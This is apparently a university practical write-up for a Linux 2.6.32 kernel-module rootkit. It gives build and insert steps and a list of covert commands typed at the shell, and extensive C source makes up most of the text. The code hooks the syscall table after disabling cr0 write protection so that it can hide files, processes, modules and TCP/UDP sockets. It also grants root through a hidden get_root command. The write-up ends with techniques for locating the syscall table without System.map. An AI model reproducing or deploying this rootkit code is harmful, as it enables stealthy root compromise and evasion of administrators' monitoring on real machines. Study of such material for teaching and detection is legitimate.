Technical Summary

Christian Feist, Robert Weindl

Contents

1 Introduction

The submitted rootkit provides commands for the user to hide files, processes, itself or other modules, aswell as connections, and allows a user to gain root privileges. All of this is done by a user who knows that the module is currently inserted, who can then issue a set of commands which the rootkit evaluates after receiving them via a covert communication channel.
In section 2, this Write-Up features instructions on building and running the rootkit and gives an overview of all commands that can be used to control the functionality provided by the rootkit. In addition, short examples are provided to illustrate the usage of the rootkit.
Section 3 gives technical explanations on how each portion of the rootkit was implemented.

2 Getting Started

2.1 Building and Running the rootkit

Building the rootkit requires that all of the files in the submitted tarball are in the same directory. Building and inserting/removing the rootkit is done by following these simple steps:

1. Create a header file from the system map using the *create_sysmap* script. The system map is located at */boot/System.map-2.6.32*

   ```
   $ ./create_sysmap /boot/System.map-2.6.32
   ```

2. Now you can build the module by running make.

   ```
   $ make
   ```

3. This creates the module *mod.ko*. Insert the module by using the *insmod* command.

   ```
   $ insmod mod.ko
   ```

   The rootkit is now ready to receive and process the commands presented in the next section.

4. The module can be removed using the *rmmod* command.

   ```
   $ rmmod mod.ko
   ```

2.2 Covert Communication - The Commands

Once the module is inserted, the rootkit is ready to receive commands by the user. These are typed into the console just like regular shell commands and sent to the rootkit by hitting the <ENTER> key. The shell will tell you, that the command doesn't exist, but the rootkit will receive your command and will process it, if the command is issued correctly. In the following, an overview is given over all commands and how they are used.

Note: If a command does not seem to work, eventhough it should, hitting the <ENTER> key and entering the command again usually does the trick. The communication channel which processes these commands does not cope well with autocomplete or using the arrow keys or delete. Using backspace to fix typos works well however.

File Hiding

Hiding and unhiding files and directories is accomplished by issuing the *file_hide* and *file_unhide* commands, followed by the prefix for the files to be hidden. For example, the following command hides all files that start with *badfile*:

```
$ ls
file_1  file_2 badfile_file other_badfile
$ file_hide badfile
-bash: file_hide: command not found
$ ls
file_1  file_2  other_badfile
```

When hiding files, they are not shown to the user when listing directories, but can still be accessed for reading/writing/opening etc. if the user knows that they exist.

Process Hiding

Hiding and unhiding processes works in a similar way. The user has to enter *proc_hide* or *proc_unhide* followed by the process id of the process to hide/unhide. A process will be hidden along with all of it's child processes. Hidden processes will not be shown by *ps*, *pstree* or when listing */proc* for example, but are still scheduled. They are removed internally from the tasks list and the process tree. The following command hides the process with the id *123*:

```
$ proc_hide 123
-bash: proc_hide: command not found
```

If you try to kill a process that is hidden, the kill command will tell you, that the process doesn't exist, as this could otherwise raise suspicion.

Module Hiding

Hiding or unhiding modules is as simple as entering the commands *mod_hide* or *mod_unhide* followed by the name of the module to hide or unhide. A hidden module will not be listed by *lsmod* or when listing */sys/module.* The following command hides the module named *example_mod*:

```
$ mod_hide example_mod
-bash: mod_hide: command not found
```

Socket Hiding

The socket hiding mechanisms of the rootkit allow the user to hide connections. It supports TCPv4 and UDPv4. To hide a connection, the user must issue the command *sock_hide* followed by the port that the socket is listening on and the protocol used for the connection (*tcp* or *udp*). Unhiding a connection works analogous by using *sock_unhide.* The following command hides a socket that is listening on port *1234* and uses tcp as it's protocol:

```
$ sock_hide 1234 tcp
-bash: sock_hide: command not found
```

By these means, sockets are hidden from the commands *netstat* and *ss.*

Privilege Escalation

If the module is inserted, any user can gain root privileges if he knows which command to use. Simply entering *get_root* will give root privileges to the current process, which is the bash session of the user who issued the command.

3 Technical Explanation

3.1 File Hiding

One feature of the rootkit is the ability to hide directories and files from a user. Commands like *'ls'* are using the *getdents64()* system call to list all files and directories. The rootkit has to overwrite the pointer to the original *getdents64()* method. This pointer is stored in the system call table and should direct to a custom *hooked_getdents64()* method. Before this is done, the original pointer is stored in a temporary variable to restore the original state when the rootkit is unloaded. Modern kernel versions have protection mechanisms to prevent an overwriting of pointers stored in the system call table. To actually overwrite the system call pointers the rootkit takes advantage of bit 16 in the so called *cr0* register. The *cr0* register is a processor register which changes or controls the general behavior of a CPU or other devices. By setting/removing bit 16, all page protection mechanisms can be enabled/disabled. Although the pages are protected, there is no protection of the control register. The rootkit can simply disable the page protection mechanisms with the command:

```
// Set bit 16 in the cr0 register to 0
write_cr0(read_cr0() & (~0x10000));
```

Now the rootkit is able to overwrite the original pointer stored in the system call table:

```
((unsigned long *)p_sys_call_table)[__NR_getdents64] = (unsigned long)
    hooked_getdents64;
```

To prevent a detection of the rootkit the bit should be set to 1 after overwriting the pointer.

```
// Set bit 16 in the cr0 register to 1
write_cr0(read_cr0() | 0x10000);
```

A use of the command ‘ls’ will now call the *hooked_getdents64()* method. The *hooked_getdents64()* method takes the same parameters as the original *getdents64()* method. For file and directory hiding the second parameter is of importance. It is of type *struct linux_dirent64 __user *dirent*. This is a buffer which gets filled with multiple *linux_dirent64* structs that contain, among other things, the names of the directories and files which are located in the directory where the ‘ls’ command is executed. So the first thing the hooked method does is to call the original *getdents64()* method.

```
asmlinkage long hooked_getdents64(unsigned int fd, struct
    linux_dirent64 __user *dirent, unsigned int count)
{
  long original_bytes_read = p_original_getdents64(fd, dirent, count);
...
}
```

The return value of the *getdents64()* is the number of bytes in the buffer. After describing the *linux_dirent64* struct it should be clear what the rootkit has to do.

```
struct dirent64 {
        __u64           d_ino;
        __s64           d_off;
        unsigned short  d_reclen;
        unsigned char   d_type;
        char            d_name[256];
};
```

The *d_reclen* attribute of the struct contains the length of the current examined *linux_dirent64* struct. By combining this information the rootkit can iterate over the buffer and search all *linux_dirent64* structs containing a specified name to hide. If the rootkit finds a matching name, the *linux_dirent64* struct is removed from the buffer by moving *d_reclen* bytes to left. At the end of the *hooked_getdents64()* method the modified buffer will be used to display the directories and files. To enable multiple files to be hidden/unhidden the rootkit implemented the methods *hide_file*, *unhide_file* and *is_file_hidden*. The *hide_file* method checks if a file is already hidden and adds the file to the array of all hidden files. The *unhide_file* method removes the prefix from the array of all hidden files and the method *is_file_hidden* returns 1 if the file is to be hidden and 0 otherwise.

3.2 Process Hiding

In order to hide processes the rootkit uses the struct *proc_dir_entry proc_root* defined in the system map, to extract the file operations for the */proc* directory. After disabling the page protection mechanisms in the same way described in the file hiding section the rootkit hooks the readdir function of */proc*.

```
void hook_proc_readdir(void)
{
  proc_root = (struct proc_dir_entry *)prak_proc_root;
  proc_root_fops = proc_root->proc_fops;
  p_original_proc_readdir = proc_root_fops->readdir;

  write_cr0(read_cr0() & (~0x10000));
  proc_root_fops->readdir = hooked_proc_readdir;
  write_cr0(read_cr0() | 0x10000);
}
```

The purpose is to execute the *hooked_proc_readdir* method instead of the original *proc_readdir* method. This method is used to save the original *filldir_t filldir* parameter. The function then calls the original *proc_readdir* function but passes it's own function to fill the directory entries: *hooked_proc_filldir*.

```
int hooked_proc_readdir(struct file *filp, void *dirent, filldir_t
    filldir)
{
  p_original_proc_filldir = filldir;
  return p_original_proc_readdir(filp, dirent, hooked_proc_filldir);
}
```

In the *hooked_proc_filldir* method the rootkit checks if the process should be hidden or not. If so, the *hooked_proc_filldir* method returns 0 and otherwise the *original_proc_filldir* method is called to process directory entries as usual. That way, processes that are to be hidden will not get listed when examining the */proc* directory.

```
int hooked_proc_filldir(void *__buf, const char *name, int namlen,
    loff_t offset, u64 ino, unsigned int d_type)
{
  // Copy the string. Don't go over constant data.
  char *tmp_name = (char*)vmalloc(sizeof(char) * strlen(name));
  strcpy(tmp_name, name);
  if (is_proc_hidden(tmp_name))
    return 0;

  return p_original_proc_filldir(__buf, name, namlen, offset, ino,
      d_type);
}
```

For adding new processes to hide or unhide, the rootkit offers the two methods *hide_proc* and *unhide_proc*. For multiple process hiding the rootkit implemented an array where all hiden processes are stored. It should be mentioned that the *hide_proc* method not only hides a process with a given id but also hides all of it's descendant processes. To check if a process is a descendant process, the rootkit has the method *is_descendant*. This method iterates over all processes that are currently in the *tasks*-list and checks if it can reach the original process to be hidden, by following the *real_parent* pointers up the process tree.

```
int is_descendant(const struct task_struct const *proc1, const struct
    task_struct const *proc2)
{
  struct task_struct *tmp = proc2; // Ignore the warning.

  while (tmp != &init_task)
  {
    if (tmp->real_parent == proc1)
      return 1;

    tmp = tmp->real_parent;
  }

  return 0;
}
```

3.3 Module Hiding

Another feature of the rootkit is the ability to hide modules from the command line tool *lsmod* and when listing */sys/module*. To achieve the module hiding, two different approaches are needed. For hiding a modules from the command *lsmod* one should first examine the following excerpt of the *struct module*:

```
struct module
 {
         enum module_state state;

         /* Member of list of modules */
         struct list_head list;

         /* Unique handle for this module */
         char name[MODULE_NAME_LEN];

```

```
        /* Sysfs stuff. */
        struct module_kobject mkobj;
        struct module_attribute *modinfo_attrs;
        const char *version;
        const char *srcversion;
        struct kobject *holders_dir;

        /* Exported symbols */
        const struct kernel_symbol *syms;
        const unsigned long *crcs;
        unsigned int num_syms;
 ...
 };
```

Looking at the system calls used by *lsmod* with the command *strace* tells us that the parameter *struct list_head list* gets iterated in order to build the output. When examining this list it should be clear that this list contains all modules. To find the module in *list* the rootkit can simply use the method *find_module* defined in the system map header file to locate the struct of the module which should be hidden. Then the module is removed from the list by rearranging the next and prev pointer of the previous and next module, which is done by using the macro *list_del*.

```
int hide_mod(char *command)
{
  // Get pointer to the mod name in string.
  char *p_mod_name = command + strlen("mod_hide") + 1;
  int i;
  struct module *p_mod = ((struct module *(*)(const char *))
      prak_find_module)(p_mod_name);

  // Module doesn't exist. Abort.
  if (NULL == p_mod)
    return 0;

  if (num_hidden_mods == MAX_MOD_HIDE)
    return 0;

  // Check if mod is already being hidden.
  for (i = 0; i < MAX_MOD_HIDE; i++)
  {
    if (NULL != hidden_mods[i])
    {
      if (!strcmp(p_mod_name, hidden_mods[i]->name))
        return 0;
    }
  }

  // Module is obviously not yet hidden. Hide it. Find first space in
      array that is not NULL and store it there.
  for (i = 0; i < MAX_MOD_HIDE; i++)
  {
    if (NULL == hidden_mods[i])
    {
      hidden_mods[i] = p_mod;
```

```
        // Remove from the list and set 'insert_here' correctly.
        insert_here = p_mod->list.prev;
        list_del(&(p_mod->list));
        break; // IMPORTANT!!!
      }
    }

  num_hidden_mods++;
  return 1;
}
```

The *hide_mod* method also covers the detection if the module is already hiden. To hide the module from */sys/module* two ways are possible. The first approach would remove the kobject located in the *struct module_kobject mkobj*. For simplicity this rootkit chose another approach. It accomplishes this in the same way as it did when hiding processes, but instead of changing the file operations for the */proc* directory, the rootkit changes the file operations for the */sys/module* directory. So the first step is to hook the readdir function of */sys/module*:

```
void hook_sysmodule_readdir(void)
{
  // Get pointer to the file struct for /sys/module
  filp_sysmodule = ((struct file * (*)(const char *, int, int))
      prak_filp_open)("/sys/module", O_RDONLY, 0600);
  p_sysmodule_fop = filp_sysmodule->f_op; // Issues a warning, ignore
      it.

  p_original_sysmodule_readdir = p_sysmodule_fop->readdir;
  write_cr0(read_cr0() & (~0x10000));
  p_sysmodule_fop->readdir = hooked_sysmodule_readdir;
  write_cr0(read_cr0() | 0x10000);
}
```

Now, instead of the original readdir function for */sys/module*, the *hooked_sysmodule_readdir* method is called. Again the rootkit stores the *original_mod_filldir* pointer and the *original_sysmodule_readdir* method is called with our own version of the filldir function: *hooked_mod_filldir*.

```
int hooked_sysmodule_readdir(struct file *filp, void *dirent, filldir_t
     filldir)
{
  // Get the filldir function being used by default. Use our own
      instead.
  p_original_mod_filldir = filldir;
  return p_original_sysmodule_readdir(filp, dirent, hooked_mod_filldir)
      ;
}
```

In the *hooked_mod_filldir* method the rootkit checks whether the module should be hidden or not. If so, 0 is returned which results in the entry being omitted when listing */sys/module*, otherwise the method returns the value of the original filldir method.

```
int hooked_mod_filldir(void *__buf, const char *name, int namlen,
    loff_t offset, u64 ino, unsigned int d_type)
{
  // Copy the string. Don't go over constant data.
  char *tmp_name = (char*)vmalloc(sizeof(char) * strlen(name));
  strcpy(tmp_name, name);

  // Check if the current module should be hiden
  if (is_mod_hidden(tmp_name))
  {
    vfree(tmp_name);
    return 0;
  }

  vfree(tmp_name);
  return p_original_mod_filldir(__buf, name, namlen, offset, ino,
      d_type);
}
```

To unhide a module the method *unhide_module* is of importance. This function checks if the module string passed by the user is the name of a module that is hidden at the moment and, in case is it, removes the module from the list of all hidden modules.

```
int unhide_mod(char *command)
{
  // Get pointer to prefix name in string.
  char *p_mod_name = command + strlen("mod_unhide") + 1;
  int i;
  for (i = 0; i < MAX_MOD_HIDE; i++)
  {
    if (NULL != hidden_mods[i])
    {
      if (!strcmp(hidden_mods[i]->name, p_mod_name))
      {
        // Insert back into the list.
        list_add(&(hidden_mods[i]->list), insert_here);

        hidden_mods[i] = NULL;
        num_hidden_mods--;
        return 1;
      }
    }
  }

  return 0;
}
```

3.4 Socket Hiding

Another important feature of the rootkit is the implementation of socket hiding mechanisms from network tools like *netstat* and *ss*. In the function *hide_socket* the port and protocol (*tcp* or *udp*) is retrieved. The port must be in the range of 0 - 65535. After checking if the current specified socket is not already hidden two mechanisms are used to hide it.

```c
int hide_socket(char *command)
{
  int i;
  char *p_socket_info = command + strlen("sock_hide") + 1;
  char port_num[16];
  int hide_me;

  if (num_hidden_sockets == MAX_SOCK_HIDE)
    return 0;

  // Get port number.
  i = 0;
  while (' ' != p_socket_info[i])
  {
    port_num[i] = p_socket_info[i];
    i++;

    if (i == 16) // 15 chars is max. Need one more for '\0'.
      return 0; // Bad port num, to long. Abort.
  }

  port_num[i] = '\0';
  hide_me = my_atoi(port_num);

  // Check if port number is okay. A port number is 16 bits.
  if (hide_me < 0 && hide_me >= 65536)
    return 0;

  // Port number is okay. Get protocol type.
  if (strnstr(p_socket_info + i + 1, "tcp", strlen("tcp")))
  {
    // Check if this socket is already hidden.
    for (i = 0; i < MAX_SOCK_HIDE; i++)
    {
      if (hidden_sockets[i].port == hide_me
        && hidden_sockets[i].protocol == 1) // TCP
        return 0;
    }

    // Find an empty spot.
    for (i = 0; i < MAX_SOCK_HIDE; i++)
    {
      if (hidden_sockets[i].port < 0)
      {
        hidden_sockets[i].port = hide_me;
        hidden_sockets[i].protocol = 1; // TCP
        break; // IMPORTANT!!
      }
    }

  }
  else if (strnstr(p_socket_info + i + 1, "udp", strlen("udp")))
  {
    // Check if this socket is already hidden.
    for (i = 0; i < MAX_SOCK_HIDE; i++)
    {
      if (hidden_sockets[i].port ==hide_me
        && hidden_sockets[i].protocol == 2) // UDP
        return 0;
    }

    // Find an empty spot.
    for (i = 0; i < MAX_SOCK_HIDE; i++)
    {
      if (hidden_sockets[i].port < 0)
      {
        hidden_sockets[i].port = hide_me;
        hidden_sockets[i].protocol = 2; // UDP
        break; // IMPORTANT!!
      }
    }
  }
  else
    return 0; // Bogus info. Abort.

  // Everything went smoothly.
  num_hidden_sockets++;
  return 1;
}
```

The first mechanism is used to hide the socket from netstat. When the rootkit gets loaded the show function of the files */proc/net/tcp* and */proc/net/udp* is replaced with a hooked show function.

```
void hook_tcp_udp_seq_ops(void)
{
  struct proc_dir_entry *tcp_dir_entry = init_net.proc_net->subdir;
  struct proc_dir_entry *udp_dir_entry = init_net.proc_net->subdir;

  // Get proc_dir_entry's for /proc/net/tcp and /proc/net/udp.
  while (strcmp(tcp_dir_entry->name, "tcp"))
    tcp_dir_entry = tcp_dir_entry->next;

  while (strcmp(udp_dir_entry->name, "udp"))
    udp_dir_entry = udp_dir_entry->next;

  // Get tcp and udp afinfo.a
  tcp_afinfo = (struct tcp_seq_afinfo *)tcp_dir_entry->data;
  udp_afinfo = (struct udp_seq_afinfo *)udp_dir_entry->data;

  // Save the original seq_ops.show functions for tcp and udp.
  p_original_tcp_seq_show = tcp_afinfo->seq_ops.show;
  p_original_udp_seq_show = udp_afinfo->seq_ops.show;

  // Replace the seq_ops.show with our own.
  tcp_afinfo->seq_ops.show = hooked_tcp_seq_show;
  udp_afinfo->seq_ops.show = hooked_udp_seq_show;
}
```

Now if *netstat* tries to display a *tcp* or *udp* socket the hooked method will be used. The method *hooked_tcp_seq_show* iterates over the list of hidden sockets, checks if the port numbers match those of hidden sockets and checks if the protocol type is tcp. The method *hooked_udp_seq_show* does the same for *udp* sockets. If a socket was found which should be hidden, the rootkit removes it from the *struct seq_file *m* buffer.

```
int hooked_tcp_seq_show(struct seq_file *m, void *v)
{
  int i;
  int ret_val = p_original_tcp_seq_show(m, v);
  char hide_port[16];

  for (i = 0; i < MAX_SOCK_HIDE; i++)
  {
    if (hidden_sockets[i].port > -1
      && 1 == hidden_sockets[i].protocol) // TCP
    {
      // Port number needs to be in hex format.
      sprintf(hide_port, "%04X", hidden_sockets[i].port);

      if (strnstr(m->buf + m->count - TCP_ENTRY_SZ, hide_port,
          TCP_ENTRY_SZ))
        m->count -= TCP_ENTRY_SZ;
    }
  }

  return ret_val;
}

int hooked_udp_seq_show(struct seq_file *m, void *v)
{
  int i;
  int ret_val = p_original_udp_seq_show(m, v);
  char hide_port[16];

  for (i = 0; i < MAX_SOCK_HIDE; i++)
  {
    if (hidden_sockets[i].port > -1
      && 2 == hidden_sockets[i].protocol) // UDP
    {
      // Port number needs to be in hex format.
      sprintf(hide_port, "%04X", hidden_sockets[i].port);

      if (strnstr(m->buf + m->count - UDP_ENTRY_SZ, hide_port,
          UDP_ENTRY_SZ))
        m->count -= UDP_ENTRY_SZ;
    }
  }

  return ret_val;
}
```

When the rootkit gets unloaded, the original pointers to the show methods for *tcp* and *udp* sockets are restored.

```
void unhook_tcp_udp_seq_ops(void)
{
  // Put original seq_ops.show functions into place.
  tcp_afinfo->seq_ops.show = p_original_tcp_seq_show;
  udp_afinfo->seq_ops.show = p_original_udp_seq_show;
}
```

In order to hide *tcp* and *udp* sockets from the command line tool *ss*, a second approach is used by the rootkit. This tool uses the systemcall *__NR_socketcall* specified in the system call table. When the rootkit gets loaded the page protection of the system call table is removed and the pointer to the original *socketcall* method is directed to a hooked *socketcall* method.

```
void hook_socketcall(void)
{
  p_original_socketcall = (asmlinkage long (*)(int, unsigned long
      __user*))prak_sys_socketcall;
  write_cr0(read_cr0() & (~0x10000));
  ((unsigned long *)p_sys_call_table)[__NR_socketcall] = (unsigned long
      )hooked_socketcall;
  write_cr0(read_cr0() | 0x10000);
}
```

When the command *ss* wants to display all *tcp* or *udp* sockets the *hooked_socketcall* method is called with a *SYS_RECVMSG* system call. This method is passed the *unsigned long __user *args* argument, a message of type *struct msghdr *msg*. This message contains datablocks of type *struct nlmsghdr *datablock* and each of these datablocks describes a socket. The rootkit then iterates over all datablocks and extracts the socket type and port number. If the rookit finds a socket stored in the array of hidden sockets, this datablock is removed from the message. At the end of the *hooked_socketcall* method, the rootkit returns the modified number of bytes in the message and the buffer no longer contains the hidden sockets.

```
asmlinkage long hooked_socketcall(int call, unsigned long __user *args)
{
  // the message of the system call.
  struct msghdr *msg = NULL;

  // The current datablock.
  struct nlmsghdr *datablock = NULL;

```

```
// The payload of the datablock is of type inet_diag_msg.
struct inet_diag_msg *payload = NULL;

// Current port.
int current_port = -1;

// Variable to iterate and calculate offset.
int i, offset, hide;

// Pointer to the begin of the datablock.
char *pointer_datablock_begin = NULL;

// the original return value.
long original_result = p_original_socketcall(call, args);

// A return value used as lvalue in NLMSG_NEXT to determine the
    remaining bytes until the end of the method.
long bytes_until_end = original_result;

// Check if there is a SYS_RECVMSG system call.
if (SYS_RECVMSG == call)
{
  // There is a SYS_RECVMSG system call.
  msg = (struct msghdr *)(((int *)args)[1]);

  // Extract the first datablock of the message.
  datablock = (struct nlmsghdr *)(msg->msg_iov->iov_base);

  // Iterate through all datablocks.
  while (NLMSG_OK(datablock, bytes_until_end))
  {
    // Determine the payload.
    payload = NLMSG_DATA(datablock);

    // Determine the port of the socket.
    current_port = ntohs(payload->id.idiag_sport);

    // Check if this port should be hidden.
    hide = 0;
    for (i = 0; i < MAX_SOCK_HIDE; i++)
    {
      if (hidden_sockets[i].port == current_port
        && hidden_sockets[i].protocol == 1)
        hide = 1;
    }

    if (1 == hide)
    {
      // Calculate the offset of the current datablock.
      offset = NLMSG_ALIGN(datablock->nlmsg_len);

      // Create a pointer to the begin of the current datablock.
      pointer_datablock_begin = (char*)datablock;

      // Remove the datablock of the message.
      for (i = 0; i < bytes_until_end; i++)
```

```
          pointer_datablock_begin[i] = pointer_datablock_begin[i +
              offset];

        // Adjust the return value.
        original_result -= offset;

        // Done.
        //break;
      }
      else
      {
        // Determine the next datablock.
        datablock = NLMSG_NEXT(datablock, bytes_until_end);
      }
    }
  }

  return original_result;
}
```

Of course there is also a method *unhide_socket*, which removes a socket from the list of hidden sockets.

```
int unhide_socket(char *command)
{
  int i;
  char *p_socket_info = command + strlen("sock_unhide") + 1;
  char port_num[16];
  int unhide_me;

  // Get port number.
  i = 0;
  while (' ' != p_socket_info[i])
  {
    port_num[i] = p_socket_info[i];
    i++;

    if (i == 16) // 15 chars is max. Need one more for '\0'.
      return 0; // Bad port num, to long. Abort.
  }

  port_num[i] = '\0';
  unhide_me = my_atoi(port_num);

  // Check if port number is okay. A port number is 16 bits.
  if (unhide_me < 0 && unhide_me >= 65536)
    return 0;

  // Port number is okay. Get protocol type.
  if (strnstr(p_socket_info + i + 1, "tcp", strlen("tcp")))
  {
    // Check if the socket is being hidden and unhide it.
    for (i = 0; i < MAX_SOCK_HIDE; i++)
    {
      if (hidden_sockets[i].port == unhide_me
        && hidden_sockets[i].protocol == 1) // TCP
      {
        hidden_sockets[i].port = -1;
        hidden_sockets[i].protocol = 0;
        break; // IMPORTANT!!
      }
    }
  }
  else if (strnstr(p_socket_info + i + 1, "udp", strlen("udp")))
  {
    // Check if the socket is being hidden and unhide it.
    for (i = 0; i < MAX_SOCK_HIDE; i++)
    {
      if (hidden_sockets[i].port == unhide_me
        && hidden_sockets[i].protocol == 2) // UDP
      {
        hidden_sockets[i].port = -1;
        hidden_sockets[i].protocol = 0;
        break; // IMPORTANT!!
      }
    }
  }
  else
    return 0;

  num_hidden_sockets--;
  return 1;
}
```

3.5 Privilege Escalation

To get full access to a machine, root access is required. The rootkit which is running in kernel space can modify parameters of all processes. In order to give a process, or more specific: the shell process, root privileges, the method *get_root* is implemented. This method modifies the credentials of the current process and sets the appropriate fields to 0. In the end the current process has root priviliges.

```
void get_root(void)
{
  // Get root
  struct cred *new_creds = prepare_creds();
  new_creds->uid = new_creds->gid = 0;
  new_creds->euid = new_creds->egid = 0;
  new_creds->suid = new_creds->sgid = 0;
  new_creds->fsuid = new_creds->fsgid = 0;
  commit_creds(new_creds);
}
```

3.6 Covert Communication

In section 2.2 interaction facilities to communicate with the loaded rootkit were already descriped. This communication is achieved over a covert communication channel. When the rootkit gets loaded the read systemcall is being hooked.

```
void hook_sys_read(void)
{
  // Replace the read system call with our own.
  p_original_sys_read = (asmlinkage long (*)(unsigned int, char __user
      *, size_t))prak_sys_read;
  write_cr0(read_cr0() & (~0x10000));
  ((unsigned long *)p_sys_call_table)[__NR_read] = (unsigned long)
      hooked_sys_read;
  write_cr0(read_cr0() | 0x10000);
}
```

Inside the *hooked_sys_read* method the rootkit checks if the current string buffer contains a command code and then calls the appropriate handler.

```
asmlinkage long hooked_sys_read(unsigned int fd, char __user *buf,
    size_t count){
  long ret_val = p_original_sys_read(fd, buf, count);
  static char str_buf[1024];
  static int buf_len = 0;

  if (0 == fd)
  {
    switch (buf[0])
    {
      case 13:  // ENTER
        // Check for command and handle it.
        switch(get_command_code(str_buf))
        {
          case 0:
            hide_file(str_buf);
            break;

          case 1:
            unhide_file(str_buf);
            break;

          case 2:
            hide_proc(str_buf);
            break;

          case 3:
            unhide_proc(str_buf);
            break;

          case 4:
            hide_mod(str_buf);
            break;

          case 5:
            unhide_mod(str_buf);
            break;

          case 6:
            hide_socket(str_buf);
            break;

          case 7:
            unhide_socket(str_buf);
            break;

          case 8:
            get_root();
            break;

          default:
            printk("Nothing\n");
        }

        // Flush buffer in all cases.
        buf_len = 0;
        str_buf[buf_len] = '\0';
        break;

      case 127:   // BACKSPACE
        if (buf_len > 0)
          str_buf[--buf_len] = '\0';
        break;

      default:  // Normal character.
        if (buf_len > 1000)
        {
          buf_len = 0;
          str_buf[buf_len] = '\0';
        }
        else
        {
          str_buf[buf_len++] = buf[0];
          str_buf[buf_len] = '\0';
        }
    }
  }

  return ret_val;
}
```

The *get_command_code* method simply checks if a command was entered by string comparison.

```
int get_command_code(char *string)
{
  // file_hide prefix
  if (NULL != strnstr(string, "file_hide ", strlen(string)))
    return 0;
  // file_unhide prefix
  if (NULL != strnstr(string, "file_unhide ", strlen(string)))
    return 1;

  // proc_hide pid
  if (NULL != strnstr(string, "proc_hide ", strlen(string)))
    return 2;

  // proc_unhide pid
  if (NULL != strnstr(string, "proc_unhide ", strlen(string)))
    return 3;

  // mod_hide modname
  if (NULL != strnstr(string, "mod_hide ", strlen(string)))
    return 4;

  // mod_unhide modname
  if (NULL != strnstr(string, "mod_unhide ", strlen(string)))
    return 5;

  // sock_hide port protocol
  if (NULL != strnstr(string, "sock_hide ", strlen(string)))
    return 6;

  // sock_unhide port protocol
  if (NULL != strnstr(string, "sock_unhide ", strlen(string)))
    return 7;

  // get_root
  if (NULL != strnstr(string, "get_root", strlen(string)))
    return 8;

  return -1;
}
```

Of course the *sys_read* systemcall is restored when the rootkit gets unloaded

```
void unhook_sys_read(void)
{

  write_cr0(read_cr0() & (~0x10000));
  ((unsigned long *)p_sys_call_table)[__NR_read] = (unsigned long)
      p_original_sys_read;
  write_cr0(read_cr0() | 0x10000);
}
```

3.7 Finding Data-Structures Without the System Map

If certain kernel symbols are not exported, some of the methods displayed here will not work the way they do. The most problematic case would be, if we didn't know the address of the system call table. This wouldn't allow us to hook function calls the way it was displayed in the above sections. Thus, it is of great interest to find ways of not having to rely on the hardcoded addresses, which might eventually not be exported any more, and instead look for the information that we want during runtime. We display to possible methods of finding the address of the most important data structure for our rootkit: The system call table.

3.7.1 Solution 1: The Interrupt Descriptor Table (IDT)

The idea is to use the interrupt descriptor table as a starting point to find the address of the system call table. When a system call is performed, the interrupt *0x80* (system call) is issued and the interrupt descriptor table (IDT) is used to jump to the correct interrupt service routine. This routine then figures out which system call is supposed to be executed and then uses the system call table to jump to the correct handler. What we do, is find the compiled instructions of the function that uses the system call table to jump to the correct system call. We get there via the IDT. We then search for the opcode that belongs to the first *call* instruction and look at the address in the *call* instruction. It is the address of the system call table, which is exactly what we want.

First, we obtain a pointer to the IDT. We do this by simply using the assembler command *sidt*, which gives us the content of the IDT register which, among other things, contains the address of the IDT.

```
unsigned long get_idt_addr(void)
{
  char idtreg[6];
  unsigned long idt_addr;
  asm ("sidt %0": "=m" (idtreg));
  idt_addr = *((unsigned long*)&idtreg[2]);
  return idt_addr;
}
```

Now we can find the address of the interrupt service routine for the interrupt *0x80* (system call, 0x80 = 128 in decimal).

```
struct interrupt_descriptor
{
  unsigned short handler_lo;
  unsigned short seg_selector;
  unsigned short flags;
  unsigned short handler_hi;
};
```

To do this, we get the 128th entry in the interrupt descriptor table, which contains the highest 16 bits and lowest 16 bits of the ISR address (*handler_lo* and *handler_hi* in the above listing), and two other fields that are not of importance to us.

```
unsigned long get_original_asm_handler(void)
{
  unsigned long addr_lo, addr_hi = 0;

  struct interrupt_descriptor id = ((struct interrupt_descriptor *)
      p_idt)[128];

  // Combine lo and hi parts of address to form address of original
      handler.
  addr_lo = id.handler_lo;
  addr_hi = id.handler_hi;
  addr_hi = addr_hi << 16;

  return addr_lo + addr_hi;
}
```

Now that we have the address of the ISR for the system call interrupt, we have a location that we can start our search from. What we are searching for, is an instruction in the form of:

```
call *<address>(, %eax, 4)
```

Where *<address>* is the address of the system call table. We do this under the assumption, that the first such instruction is a call using the system call table. We came to this conclusion by looking at the code for the ISR (found in: arch/i386/kernel/entry.S, starting at *ENTRY(system_call)*). Since this code is already compiled, we have to look for the byte sequence of the opcode for this instruction, which is:

```
0xff 0x14 0x85 <address split into 4 bytes>
```

So, starting at the location we got via *get_original_asm_handler* (see above), we look for *0xff 0x14 0x85* and grab the following four bytes and reassemble that into a usable address. We have then obtained the address of the system call table.

```
unsigned long get_sys_call_table(void)
{

  unsigned long p_original_asm_handler;
  unsigned long ret_val = 0;
  unsigned char *p_code_iterator;
  int i;

  p_idt = get_idt_addr();

  // Get the original asm interrupt handler, and start searching there.
  p_original_asm_handler = get_original_asm_handler();

  /*
  * We now know where the instructions are that we want to examine:
  * see ENTRY(system_call) in arch/i386/kernel/entry.S
  * This asm-function makes a call with the help of the sys_call_table
  * pointer. Looking at the asm-code, we can see that it is the first
  * time 'call' is used. The opcode for call is: fff1485<address>.
  * So, starting at p_original_asm_handler, we can start looking for
  * that opcode and then retreive the address to the sys_call_table.
  */
  p_code_iterator = (unsigned char *)p_original_asm_handler;
  for (i = 0; i < BYTES_TO_SEARCH; i++)
  {
    if (p_code_iterator[i] == 255 &&
      p_code_iterator[i + 1]== 20 &&
      p_code_iterator[i + 2] == 133)
    {
      ret_val = (unsigned long)p_code_iterator[i + 3] + (unsigned long)
          (p_code_iterator[i + 4] << 8) + (unsigned long)(
          p_code_iterator[i + 5] << 16) + (unsigned long)(
          p_code_iterator[i + 6] << 24);
      break;
    }
  }

  return ret_val;
}
```

3.7.2 Solution 2: Search system call table in the kernel address space

First of all it is important to know some Linux Kernel Specifications for the 32 bit adress space. In Linux, the OS designers decided to carve up the 32 bit address space of each process into two segment. The first segment is for user-level, process specific data. For example program code, static initialized and unitialized data, heap and stack. In addition every process has its own independant user segment. This seperation ends in the five segments namely TEXT|Data|BSS|Heap and Stack. Due to the Linux Kernel Specification for 32 bit adress spaces the first segment is from adress 0x00000000 through 0xBFFFFFFF.

To find the systemcall table dynamically the second segment is of importance. This segment contains kernel-specific data such as kernel instructions, data, kernel stacks and more interestingly, a region in this segment is directly mapped to physical memory, so that the kernel can directly access physical memory locations without having to worry about address translation. Due to the Linux Kernel Specification for 32 bit adress spaces the second segment is from adress 0xC0000000 to 0xFFFFFFFF. This is the adress space where our rootkit will search now the systemcall table.

